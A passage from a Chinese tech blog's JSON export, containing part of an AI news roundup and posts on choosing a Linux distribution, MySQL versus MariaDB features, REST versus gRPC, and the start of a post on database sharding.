Systems 推出了世界上最快的 AI 推理服务，使开发人员能够以无与伦比的速度和低延迟运行 AI 模型，超过了 OpenAI、Anthropic 和 Google 等供应商的系统推理速度。\nGlean 融资 2.6 亿美元：Glean 在 E 轮融资中筹集了 2.6 亿美元，以加速其 AI 创新和全球扩展其企业工作 AI 平台，估值翻倍至 46 亿美元。\nSakana AI 与 Nvidia 合作：日本的 Sakana AI 与 Nvidia 合作开发 AI 社区，并筹集了 1 亿美元用于人才和基础设施发展。\nAudible 将生成 AI 配音：Audible 将使用 AI 复制选定的有声书叙述者的声音，旨在快速且经济地扩大其有声书产品，并将有传统叙述者整合到不断发展的有声书自动化世界中。\n六、研究进展\nGoogle DeepMind 推出 AlphaProteo：Google DeepMind 推出了 AlphaProteo，这是一个生成新蛋白质的 AI 系统，旨在加速药物设计、疾病理解和健康应用的研究，可能会带来治疗和诊断方面的突破。\nLLMs 能否生成新颖研究想法？：一项涉及 100 多名 NLP 研究人员的大规模人类研究表明，LLMs 能够生成比人类专家更多新颖的研究想法，但在可行性方面略逊一筹，这引发了对其能力进一步研究的需要。\nFire-Flyer AI-HPC：一种成本效益高的深度学习软硬件协同设计——Fire-Flyer AI-HPC 架构将建设成本降低了一半，能耗降低了 40%，同时实现了与 DGX-A100 相似的性能。\nHermes 边缘设备大模型推理：通过 Hermes 系统实现了边缘设备上大型 AI 模型的高效管道推理，优化了内存使用。\n七、社会关注\n音乐制作人因使用 AI 被捕：一名音乐制作人因使用 AI 和机器人提升其在平台上的流量并生成 AI 音乐而被捕，面临洗钱和电汇欺诈的指控。\n泰勒·斯威夫特对 AI 版本表示担忧：泰勒·斯威夫特对一个虚假宣传特朗普的 AI 版本表示担忧，并正式支持卡玛拉·哈里斯（Kamala Harris）和蒂姆·瓦尔兹（Tim Walz）参加 2024 年总统大选。\n八、政策动态\n美欧英签署首个国际 AI 条约：美国、欧盟和英国签署了世界上第一个国际 AI 条约，强调人权和民主价值是监管公共和私营部门 AI 模型的关键，条约要求各签署方对其 AI 系统造成的任何伤害或歧视负责。\nGrok AI 被禁止使用欧盟公民推文：在爱尔兰数据保护专员采取法律行动后，Grok AI 被永久禁止使用欧盟公民的推文，该问题已被提交至欧洲数据保护委员会进一步裁定。\n以上就是上周 AI 领域的重大新闻和研究进展。随着 AI 技术的不断发展，我们期待未来能看到更多创新和突破。感谢您的关注，我们下期再见！\n","date":"2024-09-12T23:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-09-12-shang-zhou-ai-da-shi-ji-ping-guo-zhi-neng-sb-1047-fa-an-tong/cover.jpg","permalink":"/p/2024-09-12-shang-zhou-ai-da-shi-ji-ping-guo-zhi-neng-sb-1047-fa-an-tong/","title":"上周 AI 大事记- 苹果智能、SB 1047 法案通过、OpenAI 芯片、SSI 获 10 亿美元融资"},{"content":"工作关系，今天要买一批云服务器。打开熟悉的阿里云，到选择操作系统这项的时候我停了下来，因为我发现现在的 linux 发行版是真多呀，阿里云默认显示的公共镜像就这么多：\n10年前几乎闭眼选择 CentOS 的时代一去不复返了。那么到底应该选择哪个发行版呢？所以干脆写篇文章来盘点一下这些 linux 发行版\n对了，你可能发现我直接忽略了 Windows Server ，是的，因为 90% 以上的服务器选择安装 linux 操作系统。\nLinux 发行版和 Linux 内核之间的关系 先把最基本的概念弄清楚：\nLinux 内核是操作系统的核心部分,由 Linus Torvalds 最初开发并持续维护。它负责管理硬件资源、提供系统调用等最基本的功能。 Linux 发行版是在 Linux 内核基础上,添加了各种系统软件、应用程序、配置工具等,组成的完整可用的操作系统。 发行版的主要工作是 ：1）选择特定版本的 Linux 内核、2）添加各种系统软件和应用程序、 3）开发独特的安装程序和系统管理工具 4）提供技术支持和更新\n常见的发行版有 Ubuntu、Fedora、CentOS、Debian 等。所有 Linux 发行版都使用 Linux 内核作为核心,遵循 GNU 通用公共许可证。\n流行的 Linux 发行版 排名不分先后，虽然前文上图中有阿里云的 Alibaba Cloud Linux 但因为云平台自身利益关系，它的排名和推广不代表流行程度，所以我这里忽略它。\nAnolis OS Anolis OS 可能没有其他发行版那么知名，它是是由阿里云开发，但 AnolisOS 仍然是开源的，遵循开源许可，所以我这里也要提一下，支持开源社区\n“\nAnolis OS 8 是 OpenAnolis 社区推出的完全开源、中立、开放的发行版，它支持多计算架构，也面向云端场景优化，兼容 CentOS 软件生态\n简单说，AnolisOS 是基于 CentOS 进行的二次开发，所以如果你更熟悉 CentOS，又讨厌现在 RedHat 对 CentOS 的最新政策，那么可以试一试它。不过选择操作系统还是要谨慎，毕竟基础设施运维起来有坑的话都是大坑，哈哈。\nCentOS 这个我们可得好好说说，可以说是大家最熟悉的 Linux 发行版了。为什么呢？\n最初红帽公司开发了企业级付费的 linux 操作系统：Red Hat Enterprise Linux (RHEL)。CentOS 本身是 RHEL 的一个免费开源复制版。这对于广大开发者和系统使用者可是件大好事，因为有企业级付费产品冲在前线做质量保障，CentOS 直接跟在屁股后面复制成果做免费开源，当时的 Red Hat 简直是IT界的赛博菩萨。CentOS 也成为了很多公司服务器操作系统的不二之选 。\n然而：\n“\nCentOS 7已于2024年6月30日停止维护，CentOS官方已停止维护CentOS计划。\nCentOS 没了？倒也不是，Red Hat 更新了产品策略。旧的 CentOS 确实不再维护了，不是不能用，是不再维护了，如果操作系统有bug 可没人管了哈。所以选择老版本的CentOS需要谨慎。\n新版的 CentOS 叫 CentOS Stream ，别看就多了个 Stream，情况却大不一样。与之前的 RHEL 在前，CentOS 在后相比，这次 Red Hat是这么设计的：CentOS Stream 仍然开源，但它是在第一线的，而 RHEL这次反过来是在 CentOS Stream的后面享受开源的成果。说白了，让社区的开发给 CentOS Stream 提feature 改 bug，RHEL 在后面积累成果卖钱。让大家给 Red Hat 打工。\n总结来说：\n原来 Centos 是 RHEL 的下游复制品。CentOS（在转变前）紧跟 RHEL 的发布节奏 现在 CentOS Stream 是 RHEL的 上游产品。 当然工也不是白打，你不也用人家的操作系统了嘛。\n相比前后两种策略，大家心里跟明镜似的，越来越多的人不再选择 CentOS 了，虽然出了bug 有社区维护，但相比之前有个靠谱商业付费产品做基础，保障少多了，担心多多了。运维也不想加班呀。\n事情发展到这里还没有结束，因为大家不禁要问，CentOS 一直所坚持的开源精神呢？难道这精神没有继续者吗？\n有！！\nGregory Kurtzer 站了出来。\nCentOS 的原始创始人 Gregory Kurtzer 发起了 Rocky Linux 项目，目标是创建一个与 RHEL 100% 兼容的下游版本，旨在成为 CentOS 的精神继承者。\n还有！！\nAlmaLinux 由 CloudLinux 公司发起，同样旨在提供一个与 RHEL 完全兼容的免费替代品。\n开源的精神没有覆灭，Rocky Linux 和 AlmaLinux 都是 RHEL 的下源产品，如果你想找到一个 CentOS 的替代品，那么这两个发行版可能会很适合你。\nRed Hat Enterprise Linux 红帽公司著名产品：\n前文多次提到它，收费，稳定，天下没有花钱的不是，一分钱一分货。但确实是贵啊（相比开源免费）。。。\nSUSE Linux 又是一个和 RHEL 齐名的付费产品\n但它开始的时候也是一个有志青年，是不收费的。\n早期（1992-2003）：SUSE 最初是一个开源项目，提供免费版本。被 Novell 收购后，仍保留了开源版本 openSUSE。从 Novell 分离后，SUSE 成为独立公司，开始更注重商业模式。\n现在 ，SUSE Linux Enterprise（SLE）是付费的企业版本。openSUSE 仍然是免费开源的社区版本。\nSUSE 和 RHEL 在技术和使用上的区别挺多的，但我感觉最大的区别是 SUSE 在欧洲市场较强，特别是在 SAP 环境中。如果欧洲企业中有使用 OpenStack 和 SAP 的，那么愿意为操作系统付费的企业很可能选择的就是 SUSE。\nFedora 在 Fedora 7 之前，Fedora 的名字是“Fedora Core”，之后就简称为 Fedora\nFedora 是一个快速发展的、面向技术爱好者的 Linux 发行版。\nFedora 是 RHEL 的上游项目之一。RHEL 的开发团队会从 Fedora 社区中吸取一些新的特性和改进，然后根据企业的需要进行调整和完善。因此，可以说 Fedora 在某种程度上影响了 RHEL 的发展方向。看了前文的读者读到这里是不是已经熟悉 RedHat 的套路了？所以你在选择操作系统上也要掌握点儿 “反套路” 才行。\nDebian 与 RHEL 不同，Debian 是纯社区驱动的项目。\nDebian 有较长的发布周期，注重稳定性，这是它的优势也是劣势。较长的发布周期可能导致软件版本较旧。\nDebian 稳定版通常包含较旧但经过充分测试的软件。但 Debian 对新手来说可能不够友好\n可能最为人熟知的就是包管理系统\nDebian 使用 APT（Advanced Package Tool）和 .deb 包格式。 CentOS 使用 YUM/DNF 和 .rpm 包格式。 Ubuntu 这个发行版大家也很熟悉，你看，一般大家比较熟悉的发行版做的都比较好，不然不会有那么多人喜欢它。\nUbuntu 是一个基于 Debian 的 Linux 发行版，由 Canonical Ltd. 公司维护和支持。我们上文刚才了 Debian的一些问题，比如发布周期长，对新手不友好等，Ubuntu 就有针对性的解决了这些问题：\n“\nUbuntu 的目标是提供一个稳定、用户友好的操作系统，并且它特别注重易用性和社区支持。Ubuntu 每六个月发布一个新版本，其中每隔两年会有一个长期支持（LTS）版本，提供长达五年的安全更新和技术支持。\n这里我们不禁要比较一下 Debian和 Ubuntu(我肯定选后者啦) ：Ubuntu 基于 Debian，因此两者共享许多软件包。然而，Debian 更加注重稳定性和安全性，更新周期更长；而 Ubuntu 则更注重易用性和最新技术的应用。\n还是列举一下 Ubuntu的优缺点：\n更新频繁，软件包较新\n强大的社区支持\n良好的桌面和服务器体验\n丰富的文档和资源\n与 RHEL 生态系统不兼容\n现在，越来越多的运维同学选择 Ubuntu 作为服务器的操作系统，我觉得可能有这么几点原因：\nUbuntu 对各种硬件的支持非常广泛，这对于新的发行版来说是一个重要优势。 Ubuntu 在容器技术和云计算方面有很好的支持 Ubuntu 拥有庞大的用户和开发者社区，这意味着丰富的资源、文档和第三方支持。 Ubuntu 的六个月发布周期和长期支持版本（LTS）提供了良好的平衡，可以根据需要选择稳定性或新特性。 Ubuntu 的 APT 包管理系统强大且用户友好，便于管理和定制软件包。 总结 本文我们讨论了在购买云服务器时面临众多 Linux 发行版选择的问题。随着 CentOS 7 的停止维护以及 CentOS Stream 成为 RHEL 的上游版本，过去直接选择 CentOS 的做法已不再适用。我们提到了几个主要的 Linux 发行版，包括：\nAnolis OS：阿里云开发的开源发行版，基于 CentOS 进行了二次开发，兼容 CentOS 生态。 CentOS：曾经作为 RHEL 的下游复制品，现已转变为 RHEL 的上游版本 CentOS Stream，不再作为 RHEL 的直接复制品。 Rocky Linux 和 AlmaLinux：作为 CentOS 的精神继承者，这两个发行版提供了与 RHEL 完全兼容的免费替代品。 Red Hat Enterprise Linux (RHEL)：商业化的 Linux 发行版，提供企业级支持和服务。 SUSE Linux：与 RHEL 类似的商业发行版，在欧洲市场尤其是 SAP 环境中较为流行。 Fedora：快速发展的发行版，作为 RHEL 的上游项目，为 RHEL 提供技术创新。 Debian：社区驱动的发行版，注重稳定性和安全性，但软件版本可能较旧。 Ubuntu：基于 Debian，注重易用性和最新技术的应用，每六个月发布一次新版本，并提供 LTS 版本。 最后我说一下我个人 对 linux 发行版的选择排序：\nRocky Linux \u0026gt; Ubuntu \u0026gt; AlmaLinux \u0026gt; CentOS Stream\n","date":"2024-09-12T08:21:56Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-09-12-yi-wen-bang-ni-jie-jue-linux-fa-xing-ban-xuan-ze-kun-nan-zhe/cover.jpg","permalink":"/p/2024-09-12-yi-wen-bang-ni-jie-jue-linux-fa-xing-ban-xuan-ze-kun-nan-zhe/","title":"一文帮你解决 Linux 发行版 “选择困难症”"},{"content":"引言 在当今的数据驱动世界中，数据库的选择对任何企业和开发者来说都是一个至关重要的决策。MySQL 和 MariaDB，这两款数据库管理系统（DBMS）因其高性能、稳定性和广泛的应用场景而广受欢迎。尽管它们有着共同的起源，但随着时间的推移，两者在功能特性和发展路线上逐渐展现出差异。本文将深入探讨 MySQL 与 MariaDB 在表格定义和数据定义语言（DDL）方面的不同，并针对模式变更操作提供实用的指南。\n一、表格功能差异详解 JSON 列类型 MySQL 的 JSON 支持：MySQL 从 5.7 版本开始引入了原生的 JSON 数据类型，这使得存储和查询 JSON 文档变得更加高效。这一特性对于需要处理复杂数据结构的现代 Web 应用来说尤为重要。MySQL 的 JSON 类型支持多种 JSON 函数，如 JSON_SET、JSON_INSERT、JSON_REPLACE 等，这些函数允许用户直接在数据库层面进行 JSON 文档的修改，无需将整个文档加载到应用层。 MariaDB 的 JSON 处理：相比之下，MariaDB 采取了不同的策略。在 MariaDB 中，JSON 被视为 LONGTEXT 类型的一个别名，并通过 CHECK 约束来确保存储的数据是有效的 JSON 格式。这种方法虽然不如 MySQL 的原生 JSON 类型高效，但它提供了更高的灵活性。例如，用户可以在不更改表结构的情况下，将现有的 LONGTEXT 列转换为 JSON 类型。 IP 地址和 UUID 列类型 MariaDB 的创新：MariaDB 在数据类型方面进行了一些创新，其中包括提供了专门的列类型来存储 IPv4 和 IPv6 地址，以及 UUID 值。这些类型分别为 INET_ATON、INET6_ATON 和 UUID。使用这些专用类型可以简化网络相关数据的存储和查询，同时提高性能。 MySQL 的传统处理：在 MySQL 中，存储 IP 地址和 UUID 通常需要使用 VARCHAR 或 CHAR 类型，并依赖于应用层或数据库函数来进行格式验证和转换。这种方法虽然通用，但在处理大量网络数据时可能不够高效。 数值列类型 MySQL 的简化：从 MySQL 8.0 版本开始，数值列类型不再关注显示宽度。这意味着，例如，INT(11) 和 INT 的存储空间和范围是相同的。这一变化旨在简化数据类型的使用，避免用户对显示宽度的误解。 MariaDB 的传统保留：与此相反，MariaDB 仍然保留了数值列类型的显示宽度。这意味着在 MariaDB 中，INT(11) 和 INT 可能具有不同的含义，尤其是在进行数据迁移或模式兼容性测试时需要特别注意。 时间列类型 处理 Y2K38 问题：Y2K38 问题是指 32 位时间戳在 2038 年 1 月 19 日将达到其最大值，从而导致日期和时间处理上的问题。MariaDB 通过提供 TIMESTAMP 类型的新存储格式来解决这个问题，该格式支持更大的时间范围。而 MySQL 则依赖于用户自行处理这个问题，例如通过使用 BIGINT 类型来存储时间戳。 空间列类型 空间数据支持：MySQL 和 MariaDB 都提供了空间列类型，如 POINT、LINESTRING、POLYGON 等，用于存储地理空间数据。然而，在空间参考系统（SRID）的支持上，MySQL 提供了更广泛的选择，这使得它在处理复杂的空间数据时更具优势。 字符集和校对规则 差异显著：字符集和校对规则是数据库国际化支持的重要组成部分。在这两个方面，MySQL 和 MariaDB 存在显著差异。MariaDB 提供了一些 MySQL 不支持的字符集和校对规则，这使得它在处理特定语言和字符集时更加灵活。 二、压缩功能对比 数据库压缩是提高存储效率、降低存储成本的重要手段。MySQL 和 MariaDB 在压缩功能上都进行了创新和优化，但各有侧重点。\nMySQL 的压缩技术：MySQL 支持 InnoDB 存储引擎的传统压缩表，这种压缩可以显著减少磁盘空间的使用。在创建表时，可以通过指定ROW_FORMAT=COMPRESSED来启用压缩。这种压缩技术在处理大量静态数据或归档数据时尤其有效。 MariaDB 的列级压缩：MariaDB 不仅支持 InnoDB 的压缩表，还引入了列级压缩功能。这意味着用户可以针对表中的特定列进行压缩，而不是整个行。这种精细化的压缩策略可以在节省存储空间的同时，减少对性能的影响。列级压缩特别适合于那些具有不同数据访问模式的大型表，可以针对不常访问或数据重复性高的列进行压缩。 三、默认值和生成列的差异 默认值和生成列是数据库设计中的重要概念，它们可以帮助确保数据的完整性和一致性。\n默认值的使用：在 MySQL 和 MariaDB 中，都可以为列指定默认值。这些默认值可以是常量，也可以是复杂的表达式。然而，两者在支持的函数和表达式方面存在差异。例如，MySQL 可能支持某些特定的内置函数作为默认值，而 MariaDB 则可能不支持。 生成列的特性：生成列是 MariaDB 5.2 版本引入的特性，MySQL 从 5.7 版本开始也支持这一特性。生成列的值是由表中其他列的值计算得出的，这意味着它们是虚拟的，不需要实际存储在磁盘上。生成列在处理计算字段时非常有用，可以减少应用层的计算负担。不过，MySQL 和 MariaDB 在生成列的实现细节上有所不同，例如在支持的函数和表达式方面。 四、外键和 CHECK 约束的应用 外键和 CHECK 约束是保证数据库数据完整性的重要工具。它们在 MySQL 和 MariaDB 中的实现和应用有所不同。\n外键约束：MySQL 和 MariaDB 都支持外键约束，用于强制执行表之间的关系。然而，两者在外键约束的语法、性能和错误处理上存在差异。例如，MariaDB 在某些情况下可能提供了更灵活的外键约束选项。 CHECK 约束：CHECK 约束用于限制列的取值范围。在 MySQL 8.0 之前，CHECK 约束是语法糖，并不实际执行。而从 MySQL 8.0 开始，CHECK 约束得到了实际的支持。MariaDB 则一直支持 CHECK 约束，并且在某些情况下提供了更丰富的功能。 五、其他功能差异 除了上述差异外，MySQL 和 MariaDB 在许多其他功能上也存在差异，这些差异在某些特定场景下可能非常关键。\n系统版本化表：MariaDB 提供了系统版本化表的功能，允许用户查询数据的历史版本。这对于需要跟踪数据变更历史的应用非常有用。 应用时间周期表：这是 MariaDB 的一个独特功能，允许用户定义数据的有效时间范围。这种表对于处理具有时间限制的数据非常有用，例如合同、订阅和价格信息。 二时态表：MariaDB 的二时态表功能允许用户查询数据的历史状态，这对于历史数据分析非常有用。 六、操作差异分析 在实际操作中，MySQL 和 MariaDB 在执行 DDL 操作时存在一些差异，这些差异可能会影响到数据库的性能和可用性。\nALTER TABLE 操作：ALTER TABLE 是数据库维护中常见的操作，用于修改表结构。MySQL 和 MariaDB 在执行 ALTER TABLE 操作时，尤其是在线 DDL 变更方面，存在差异。例如，MariaDB 的 ALGORITHM 选项允许用户控制 DDL 操作的执行方式，而 MySQL 则提供了 INSTANT 算法来减少 DDL 操作对性能的影响。 索引构建：在创建索引时，MySQL 8.0.27+支持并行构建索引，这可以显著提高索引创建的速度。而 MariaDB 在索引构建方面的优化则有所不同，它可能提供了不同的性能特点和选项。 DROP TABLE 操作：在某些情况下，MySQL 在执行 DROP TABLE 操作时可能会遇到与 InnoDB 缓冲池大小相关的问题，导致系统停滞。MariaDB 则可能通过不同的机制来避免这些问题。 七、模式元数据差异 数据库的模式元数据是数据库结构的信息，它对于数据库工具和监控系统的兼容性至关重要。\n信息模式表：MySQL 和 MariaDB 在信息模式表（INFORMATION_SCHEMA）中提供的信息存在差异。这些差异可能会影响到依赖于这些信息的数据库工具和脚本。 SHOW 查询：SHOW 查询是获取数据库状态和配置信息的常用方法。在 MySQL 和 MariaDB 中，SHOW 查询返回的结果可能会有所不同，这可能会影响到数据库监控和管理工具。 八、结论与建议 通过上述分析，我们可以看到，尽管 MySQL 和 MariaDB 在许多方面都非常相似，但它们在表格定义、DDL 操作、功能特性和性能优化上都有各自的特点和优势。对于数据库管理员和开发者来说，了解这些差异对于选择合适的数据库系统至关重要。\n以下是一些基于本文分析的结论和建议：\n选择合适的数据库：如果你的应用需要处理大量的 JSON 数据，或者你更倾向于使用原生的 JSON 类型，那么 MySQL 可能是更好的选择。相反，如果你的应用需要处理 IP 地址和 UUID 数据，并且希望使用列级压缩，MariaDB 可能更适合你的需求。 考虑兼容性问题：在进行数据库迁移时，兼容性是一个重要的考虑因素。如果你的应用依赖于特定的字符集或校对规则，或者使用了特定的 DDL 操作，那么在迁移前进行详细的兼容性测试是非常重要的。 性能优化：对于性能敏感的应用，了解不同数据库系统的性能特点是非常关键的。例如，MySQL 的并行索引构建和 MariaDB 的列级压缩都可以显著提高性能。 持续学习和关注：数据库技术是不断发展的，新的版本可能会引入新的特性和改进。因此，持续学习和关注 MySQL 和 MariaDB 的发展动态，可以帮助你更好地利用这些数据库系统。 结语 数据库的选择和管理是一个复杂的过程，需要综合考虑多种因素。希望本文能够为你提供关于 MySQL 和 MariaDB 在表格定义和数据定义语言方面的差异的深入理解，并在你的数据库设计和维护工作中提供帮助。无论是选择 MySQL 还是 MariaDB，关键是要确保所选的数据库系统能够满足你的业务需求，同时提供良好的性能和可扩展性。\n","date":"2024-09-09T04:12:18Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-09-09-shu-ju-ku-xuan-xing-bi-kan-mysql-yu-mariadb-gong-neng-dui-bi/cover.jpg","permalink":"/p/2024-09-09-shu-ju-ku-xuan-xing-bi-kan-mysql-yu-mariadb-gong-neng-dui-bi/","title":"数据库选型必看：MySQL 与 MariaDB 功能对比全解析"},{"content":"在很长一段时间里，REST 是构建 API 的唯一“标准”。它在某种程度上取代了 SOAP，后者因为“太多的 XML”而变得混乱不堪。\n但近年来，新的选择出现了。2015 年，Facebook 向公众发布了 GraphQL，2016 年，谷歌紧随其后，发布了 gRPC。在这篇文章中，我们将重点关注后者，并将其与仍然广泛使用的 REST 进行比较。\n概述 下表将为您提供讨论要点的概览，并展示了 REST 和 gRPC 真正闪耀的地方。\n主题 REST gRPC 标准化 无标准 定义明确 范式 基于资源 RPC 服务模式 仅单向 单向、客户端流、服务器流和双向流 要求 任何 HTTP 版本，JSON 解析器 HTTP/2，gRPC 语言实现 API 设计 代码优先 设计优先 默认数据格式 JSON Protobuf 浏览器支持 原生 gRPC Web，通过变通方法 工具 更成熟的工具 语言支持各异，部分有出色的实现 标准化 REST 的一个缺点是缺乏标准化。REST 更像是一种范式，而不是 API 标准，许多人对它的理解各不相同。对大多数人来说，“REST API”一词用于指代基于 HTTP 的 JSON API。对其他人来说，REST 可以与某些规范如 HATEOAS 或 JSON:API 互换使用。但即使使用 XML 而不是 JSON，API 仍然可以是 RESTful 的，尽管这一点并不广为人知。REST 这个术语甚至不与 HTTP 绑定。这在处理 REST API 时可能导致很多混淆。例如，消费者可能会自动期望某些 REST API 端点具有幂等性或可缓存性，尽管这些并没有明确定义。\n相比之下，gRPC 定义明确。例如，gRPC 在 HTTP/2 上的实现非常详细。\n根本差异 REST 和 gRPC 的范式不同。\n在 REST 中，一切都围绕资源展开，资源可以被检索和操作。如果我们以书籍为例，REST API 通常会提供以下端点：\nGET /books（获取所有书籍，很可能带有用于过滤和分页结果的参数） GET /books/{id}（获取特定书籍） POST /books（创建书籍） DELETE /books/{id}（删除书籍） 大多数基于 HTTP 的 REST API 都遵循这种模式。虽然这种方式运作良好，但在某些情况下，作为 REST API 表示起来比较困难。例如，如果我想一次性创建多本书籍，而不想为每本书重复调用POST /books（出于性能、幂等性或其他原因），我该怎么办？我创建一个POST /books/batch端点吗？这还是“RESTful”的吗？虽然技术上容易解决，但它经常在开发者之间引发长时间的讨论。\n另一方面，gRPC 是一个 RPC 框架。它围绕服务方法展开。如果我们以书籍 API 为例，使用 gRPC，我们会创建一个BookService，包含以下方法：\nGetBooks() GetBook() CreateBook() DeleteBook() 我们可以随意命名这些方法，并需要任何我们需要的参数。如果我们现在想添加一个创建多本书籍的方法，没有什么可以阻止我们添加一个CreateBooks()方法。gRPC 在设计 API 时提供了更多的“自由”，因为（自我施加的）限制更少。\n服务模式 gRPC 支持四种服务方法：\n单向： 发送单个请求，接收单个响应 服务器流： 发送单个请求，接收多个响应 客户端流： 发送多个请求，接收单个响应 双向流： 发送多个请求，接收多个响应 与仅支持单向请求的 REST 相比，这是 gRPC 的一个非常大的优势。在 REST API 中支持其他服务模式将需要使用不同的协议，如服务器发送事件或 WebSockets，这并不完全是“RESTful”的。\n要求 REST API 通常“只要工作”就可以与任何类型的 HTTP 版本一起使用。只要编程语言具有 HTTP 客户端和 JSON 解析库，消费 REST API 就变得轻而易举。\ngRPC 明确需要 HTTP/2 支持，否则它将无法工作。近年来，这已不再是一个问题，因为大多数代理和框架都增加了对 HTTP/2 的支持。\n由于 gRPC 需要代码生成（用于创建客户端或服务器存根），因此只支持一组编程语言。\nAPI 设计 REST API 通常是其实现的结果，被称为“代码优先”。虽然可以先设计 OpenAPI，然后生成服务器存根，但这不是许多开发者采取的方法。OpenAPI 定义更有可能从 API 实现中生成，如果有 OpenAPI 定义的话。因此，API 定义与实现紧密耦合。错误的模型/类的更改可能导致 API 的意外破坏性更改。\ngRPC 采用不同的方法，其中 API 必须在实现之前定义（被称为“设计优先”）。然后从这个 API 定义生成客户端和服务器存根。这需要一些预先思考，因为不能直接跳入实现 API。\n两种方法都有其优缺点。通常的 REST API 方法允许更快的迭代，因为服务器始终是真实的来源。使用 gRPC，可能很烦人，必须首先更改 API 定义，然后才能调整实现。然而，它通过明确定义 API 带来了一些安全优势。\n数据格式 REST 和 gRPC 都可以使用不同的格式传输数据。大多数 REST API 使用 JSON，而 gRPC 默认使用 Protocol Buffers（Protobuf），因此我们将比较这两种。\nJSON 对数据类型的支持有限，也有一些怪癖（例如，大数字需要作为字符串表示）。它是一种文本格式，人类可读。字段名被序列化，这占用了一些空间。在某些编程语言中，这也需要使用反射来反序列化 JSON 消息，这相当慢。\n如上所述，gRPC API 及其相应的消息类型首先被定义为 Protocol Buffers。每个消息都是强类型的，可能包含有用的注释，并且有许多其他有趣的特性。对于支持的编程语言列表，可以自动生成（反）序列化消息的代码。由于它是一种二进制格式，并且不序列化字段名，它比等效的 JSON 消息占用的空间更少。这确实有一个缺点，即它不再是人类可读的，需要 Protobuf 定义来反序列化消息，这可能会妨碍开发体验。\n以下 JSON 示例大约占用 66 字节（去除空格）。\n{ \u0026quot;persons\u0026quot;: [ { \u0026quot;name\u0026quot;: \u0026quot;Max\u0026quot;, \u0026quot;age\u0026quot;: 23 }, { \u0026quot;name\u0026quot;: \u0026quot;Mike\u0026quot;, \u0026quot;age\u0026quot;: 52 } ] } 等效的序列化 protobuf 消息只会使用 19 字节。\n0x0A070A034D617810170A080A0448616E731034 大消息 Protobuf 旨在在内存中序列化和反序列化消息。因此，不建议使用 Protobuf/gRPC 传输大消息。大多数 gRPC 实现对单个消息设置了默认的 4MB 限制。\n使用 REST API 处理大数据大小（如文件上传）相对直接。接收到的文件可以作为流处理，使用很少的内存。这在 gRPC 中并非不可能，但需要更多的手动努力。文件需要在发送方分成几个部分。然后每个部分作为单独的消息通过客户端流方法发送到服务器。服务器接收每个部分，并可以从中构建数据流，从而实现与 REST API 类似的行为，尽管需要更多的努力。\n浏览器兼容性 这是 REST 真正闪耀的地方。它被 Web 浏览器原生支持，使得从 Web 应用程序消费 REST API 变得毫不费力。\ngRPC 并不直接被浏览器支持，因为它需要明确的 HTTP/2 支持和访问某些 HTTP/2 特性，而 Web 浏览器并不提供。作为变通方法，可以使用 gRPC Web。它是 gRPC 协议的轻微变体，使其可以被 Web 浏览器消费。对于某些编程语言，gRPC Web 支持已经包含在框架中。对于其他语言，需要一个代理来将 gRPC 流量转换为 gRPC Web 流量，反之亦然。与不需要依赖的 REST API 相比，从 Web 消费 gRPC API 更加繁琐。\n一个变通方法是使用 JSON 转码，它允许开发人员将 gRPC API 作为 REST API 公开。\ngRPC 和 REST 工具在编程语言和框架之间的差异很大。在某些情况下，gRPC 感觉更“原生”，而在其他情况下，REST 工具更加先进。\n适当的 gRPC 语言支持非常重要，因为它需要工具来生成客户端和服务器存根。对于不支持的编程语言，你将无计可施。REST API 的客户端总是可以手动创建的，但这可能需要一些努力。虽然存在从 OpenAPI 定义创建 REST 客户端的工具，但与 gRPC 等效工具相比，它们的开发体验通常较差。\n由于 REST API 已经存在了很长时间，因此存在更多帮助构建、测试和部署 REST API 的工具。它们的功能通常比 gRPC 工具更先进。\n结论 REST 和 gRPC 都有其优点和缺点。\n从 Web 应用程序消费 REST API 通常更容易。 REST 也更广泛地被使用，对于某些开发者来说，可能更简单，因为他们可能不了解 gRPC。\n在我看来，gRPC 在服务器到服务器通信（例如，微服务之间）中肯定有优势。 能够共享确切的 API 定义，并在多种编程语言中创建 API 客户端是一个巨大的胜利。\n","date":"2024-09-04T02:40:44Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-09-04-rest-yu-grpc-de-xiang-xi-bi-jiao/cover.jpg","permalink":"/p/2024-09-04-rest-yu-grpc-de-xiang-xi-bi-jiao/","title":"REST 与 gRPC 的详细比较"},{"content":"数据库分片：概念与实现 在现代应用程序中，数据库的性能和可扩展性至关重要。随着用户数量的增加和数据量的激增，传统的单一数据库架构往往无法满足需求。这时，数据库分片（Sharding）作为一种有效的解决方案，逐渐被广泛采用。本文将深入探讨数据库分片的概念、工作原理、实施策略以及常用工具，帮助读者理解如何通过分片来提升数据库性能和可扩展性。\n什么是数据库分片？ 数据库分片是一种将数据分散存储在多个服务器上的策略，而不是将所有数据集中在一个庞大的数据库中。每个数据分区称为一个分片（Shard）。通过将数据库拆分成多个分片，可以有效降低单个数据库的负载，从而提升整体性能。\n例如，在一个用户表中，如果所有用户数据都存储在一台服务器上，随着用户数量的增加，查询和写入操作的性能将受到影响。通过分片，可以将用户数据分布到多台服务器上，每台服务器只处理其对应的用户数据，从而提高响应速度和处理能力。\n数据库分片的必要性 随着业务的发展，许多公司发现单一数据库的扩展性有限。以下是一些常见的场景，说明何时需要考虑数据库分片：\n频繁的性能瓶颈：当数据库频繁出现性能瓶颈，导致响应时间延长时，分片可以帮助分散负载。\n数据量激增：当数据量迅速增长，单一数据库无法存储或处理时，分片可以将数据分散到多个服务器上。\n高并发访问：在高并发访问场景下，分片能够有效分散请求，减少单一数据库的压力。\n地理分布：在全球范围内运营的应用程序可能需要将数据存储在不同地区，以降低延迟。通过分片，可以将数据分布在离用户更近的服务器上。\n数据库分片的工作原理 实现数据库分片需要考虑几个关键步骤：\n选择分片方案：决定哪些数据需要分片，如何组织这些数据。\n组织目标基础设施：确定将数据分片到多少台服务器上，以及每台服务器上存储多少数据。\n创建路由层：设计应用程序如何知道新数据存储的位置，以及如何查询现有数据。\n规划和执行迁移：如何在最小的停机时间内，从单一数据库迁移到多个数据库。\n分片方案与算法 选择合适的分片方案是成功实施分片的关键。以下是几种常见的分片策略：\n基于哈希的分片：通过对某个列的值进行哈希处理，将哈希值相同的数据存储在同一服务器上。此方法能够有效地均匀分布数据，但可能会导致某些查询变得复杂。\n基于范围的分片：选择一个列，创建范围，将数据分配到不同的分片中。适合于数值列的均匀分布，例如按用户 ID 